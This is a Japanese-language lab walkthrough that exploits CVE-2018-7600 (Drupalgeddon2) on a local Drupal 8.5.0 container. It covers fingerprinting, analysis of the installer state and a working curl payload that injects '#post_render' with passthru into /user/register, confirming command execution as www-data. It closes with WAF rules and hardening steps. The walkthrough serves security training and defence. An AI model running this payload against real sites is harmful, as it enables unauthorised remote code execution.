
Drupal 8.5.0 の CVE-2018-7600(Drupalgeddon2)RCE を悪用するためのステップバイステップのラボ・ウォークスルー。攻撃面の分析、バージョンのフィンガープリンティング、Form API インジェクションによる悪用を網羅しています。
まず、実行中のコンテナを一覧表示します:
docker ps
docker ps の結果から、この Lab のコンテナは次のとおりです:

p1/lab09:latest
このコンテナは以下のポートを公開しています:
0.0.0.0:8011->80/tcp
これは、コンテナ内のサービスがポート 80/tcp で待ち受けており、ホストのポート 8011 にマッピングされていることを示しています。
ポート 80/tcp は HTTP の標準ポートです。したがって、このターゲット Lab は HTTP Web アプリケーションである可能性が非常に高いです。Web サービスを確認するために、curl を使用して HTTP リクエストを送信し、Web ページの GUI にもアクセスします。
curl -i http://192.168.3.137:8011/


アタックサーフェスの評価
HTTP レスポンスと Web インターフェースから、以下の情報が特定されました:
Web server: Apache/2.4.25 (Debian) Backend: PHP/7.2.3 CMS: Drupal Drupal version: 8.5.0 Install path: /core/install.php Public port: 8011 -> 80/tcp
この情報は、CVE と関連付けるための重要な フィンガープリント となります。具体的には、Drupal 8.5.0 は Drupalgeddon2 としても知られる CVE-2018-7600 に直接関連するバージョンです。
公式の Drupal アドバイザリによると、SA-CORE-2018-002 / CVE-2018-7600 は以下のバージョンに影響します:
>= 8.5.0 < 8.5.1
現在のターゲットは以下を実行しています:
Drupal 8.5.0
したがって、影響を受けるバージョン範囲内に該当します。
⇒ 考察:
この段階で、Drupal バージョン 8.5.0 は疑惑の CVE を特定するための強力な証拠です。以下のように推論します:
docker ps は、Lab がポート 8011 を介して HTTP サービスを公開していることを示しています。curl -i は Apache/PHP から有効な HTTP レスポンスを返します。/core/install.php にリダイレクトされます。Drupal >=8.5.0 <8.5.1 が CVE-2018-7600 の影響を受けることを確認しています。Drupal 8.5.0 を実行しており、CVE-2018-7600 をテストするためのバージョン基準を満たしています。ターゲットは Apache/PHP 上で動作する Drupal 8.5.0 です。このバージョンは、Drupal の公式アドバイザリによると CVE-2018-7600 の影響を受ける範囲内にあります。次のステップは、実際の悪用条件を確認して、ターゲットが RCE の影響を受けるかどうかを検証することです。

前の フィンガープリンティング ステップから、ターゲットには Drupal 8.5.0 と明確に表示されています。Drupal の公式アドバイザリによると、脆弱性 SA-CORE-2018-002 / CVE-2018-7600 は Drupal コアの以下のバージョンに影響します:
>= 8.5.0 < 8.5.1。現在のターゲットは正確に Drupal 8.5.0 を実行しており、影響を受けるバージョン範囲内に該当します。Drupal アドバイザリによると、これは Drupal コア における リモートコード実行 の脆弱性であり、攻撃者が 複数の攻撃ベクトルを悪用してサイト全体を侵害する可能性があります。
ただし、ターゲットが /core/install.php にリダイレクトされており、GUI に Drupal のインストール画面が表示されていることがわかります。これは、Drupal が インストール未完了の状態 にある可能性を示唆しています。サイトのセットアップが完了していない場合、Drupalgeddon2 をトリガーするために使用される /user/register、/user/password、/user/login などの一般的なエンドポイントが正常に機能しない可能性があります。したがって、これらのエンドポイントを確認する必要があります。
curl -i http://192.168.3.137:8011/user/register curl -i http://192.168.3.137:8011/user/password curl -i http://192.168.3.137:8011/user/login

エンドポイントが依然として /core/install.php にリダイレクトされていることがわかります。
結論:
ターゲットは Drupal 8.5.0 を実行しており、Drupal の公式アドバイザリによると CVE-2018-7600 の影響を受けるバージョン範囲内に該当します。ただし、テスト時点では、アプリケーションはインストーラー状態にあり、/user/register、/user/password、/user/login などのルートを /core/install.php に継続的にリダイレクトします。
これは、Drupalgeddon2 の検証に一般的に使用されるエンドポイントが、完全にインストールされた Drupal サイトのようにまだ機能していないことを示しています。したがって、ターゲットは現在 バージョン条件のみを満たしています が、リモートコード実行を実証するための実行時条件はまだ満たしていません。
=> 考察:
Drupal が実行時状態で 脆弱なルート/フォームを処理できること、攻撃者が認証なしでエンドポイントにアクセスできること、id などの検証ペイロードが正常に実行できることをさらに証明する必要があります。
現在のターゲットでは、エンドポイントがインストーラーにリダイレクトされるため、次の道筋は、Drupalgeddon2 の RCE と即座に結論付けるのではなく、Drupal のインストール画面が独自のアタックサーフェスを作り出しているかどうかを評価することです。
/user/register、/user/password、/user/login などの Drupal ランタイムエンドポイントがすべて /core/install.php にリダイレクトされることを確認した後、インストーラー画面を分析しました。
インストーラーを支えるデータベースサービスの確認
Drupal インストーラーは現在データベース設定ステップで停止しているため、一般的なデータベースサービスが外部に公開されているかどうかを確認しました:
nmap -sV -p 3306,5432,33060 192.168.3.137

ターゲットは現在 Drupal インストーラー を外部に公開していますが、攻撃者のマシンから直接アクセスできるデータベースサービスは検出されませんでした。
結論: この Lab は Drupal 8.5.0 インストーラーを公開しており、脆弱なバージョンに関する 情報開示 があります。CVE-2018-7600 は有効な疑惑のベクトルですが、悪用の成功はまだ証明されていません。
CVE-2018-7600 は、Render Array 構造を利用するフォームレンダリングシステムである Drupal Form API の脆弱性を悪用します。AJAX リクエストを処理する際、Drupal は element_parents パラメータを使用してフォームツリー内の要素を特定しますが、# 文字で始まるキーをチェック(サニタイズ)しません。攻撃者は POST データを介して #post_render、#markup、#type などのプロパティを注入し、レンダリングエンジンに任意の PHP 関数(例: exec、passthru、system)を実行させます。
前提条件: Form API を使用する少なくとも 1 つのエンドポイントが有効なレスポンスを返すこと(リダイレクトされず、アクセス制御によってブロックされない)が必要です。これにより、攻撃者はペイロードを含む AJAX リクエストを送信できます。
公開 PoC で一般的に使用されるエンドポイント:
/user/register(登録フォーム - ログイン不要)/user/password(パスワード忘れフォーム - ログイン不要)/user/login(ログインフォーム - ログイン不要)現在のターゲットの状況: 上記 3 つのエンドポイントはすべて 302 で /core/install.php にリダイレクトされます ⇒ まだ満たされていません
脆弱性は Form API の AJAX 処理パイプライン内で発生します: FormBuilder → RenderArray → #post_render コールバック実行。このパイプラインは、Drupal が 必要なすべてのサブシステム(ルーティング、フォーム状態、レンダーエンジン)をブートストラップした場合にのみ動作します。
インストーラー状態では、Drupal は 最小限のブートストラップ モードで実行されます。インストールフォームを表示するために十分な初期化のみを行いますが、ルーティング、AJAX ハンドラー、完全なレンダーパイプライン などのサブシステムは まだ完全には有効化されていない可能性があります。
現在のターゲットの状況: Drupal はインストーラー状態です ⇒ さらなる検証が必要です
# 文字をブロックする WAF や入力フィルタリングメカニズムが存在しない公式の Drupal パッチは、stripDangerousValues() メソッドを持つ RequestSanitizer クラスを追加します。これは、$_GET、$_POST、$_COOKIE のすべてをスキャンし、ブートストラップの初期段階で # で始まるキーを除去します。
ターゲットがパッチ未適用(8.5.0 を実行)の場合、RequestSanitizer クラスは存在しません → # を含む入力はフィルタリングされません ⇒ 満たされています
結論: ターゲットは バージョン 条件と パッチ未適用 の条件を満たしています。ただし、利用可能なエンドポイント と 完全なブートストラップ の条件は、Drupal がインストーラー状態であるためまだ実証されていません。次のステップは、標準エンドポイントの代替として インストーラーフォーム(/core/install.php)- これも Form API と Render Array を使用 - が悪用可能かどうかをテストすることです。
ターゲットがインストーラー状態で Drupal 8.5.0 を実行していることを特定した後、CVE-2018-7600 の悪用に一般的に使用される /user/register、/user/password、/user/login などの標準エンドポイントはすべて /core/install.php にリダイレクトされました。これはインターフェースのセットアップを完了していないためかもしれないと考えましたが、さらに調査したいと思いました。
検証の結果、インストーラーフォームも同じ脆弱な Form API と Render Array エンジンを使用していることが判明しました。ただし、AJAX パイプラインは Form Cache の動作を必要とします — デフォルトではデータベースをバックエンドとして使用します。まだデータベースがないため、インストーラーフォームへの AJAX リクエストは FormBuilder.php:333 で FormAjaxException を返し、パイプラインが有効化されているもののキャッシュ読み込みステップで失敗したことを確認しました。
考察: SQLite を使用して Drupal をインストールします - 専用サーバーを必要とせず、コンテナディスクへのファイル書き込みアクセスのみを必要とするデータベースです。
Drupal がオンラインになると、/user/register エンドポイントは正常に機能し、インジェクションポイントとして機能します。ペイロードはレンダー配列インジェクションの仕組みを利用します:
element_parents=account/mail/%23value — フォームツリー内の mail フィールドを特定しますmail[#post_render][]=passthru — コールバック関数 passthru() を注入しますmail[#markup]=id — passthru() に引数として渡される内容curl -v "http://192.168.3.137:8011/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id"

レスポンス分析:
結果 uid=33(www-data) は、ペイロードが www-data ユーザー の権限でオペレーティングシステム上で実行されたことを示しています。これは、Debian ベースの Linux で Apache/PHP Web サーバーを実行するために一般的に使用されるユーザーです。id コマンドがサーバー側で実行され、出力が返されたため、リモートコード実行の成功が確認されました。ただし、現在の権限は root ではなく www-data であるため、初期の制御範囲は Web サーバーの権限に制限されます。
エンドポイントのアクセス制御
サイトが公開ユーザー登録を必要としない場合は、/user/register エンドポイントを無効にします:
WAF ルール — 特徴的なペイロードのブロック
POST ボディに #post_render、#pre_render、#markup などのキーを含むリクエストをブロックする WAF ルールを追加します:
SecRule REQUEST_BODY "@contains #post_render" "deny,status:403"
SecRule REQUEST_BODY "@contains #pre_render" "deny,status:403"
SecRule ARGS_NAMES "@rx ^#" "deny,status:403"
Web サーバーの最小権限の原則
Web サーバーは root 権限で実行してはなりません。Lab の結果はプロセスが uid=33(www-data) で実行されていることを確認しています — これは正しい設定ですが、以下の強化を行うべきです:
www-data の書き込み権限を必要なディレクトリ(sites/default/files/)に厳密に制限する/var/www/html/core/、/var/www/html/modules/)のファイルシステムを読み取り専用でマウントするインストーラーをインターネットに公開しない
この Lab では、インストーラーが公開されています — 攻撃者はこれを悪用して SQLite を使用して Drupal を再インストールし、悪用を行うことができます。実際の本番環境では以下が必要です:
/core/install.php を削除するか、アクセスを制限する/core/install.php への外部アクセスをブロックする .htaccess ルールまたは Web サーバー設定を追加する<Files "install.php">
Order deny,allow
Deny from all
</Files>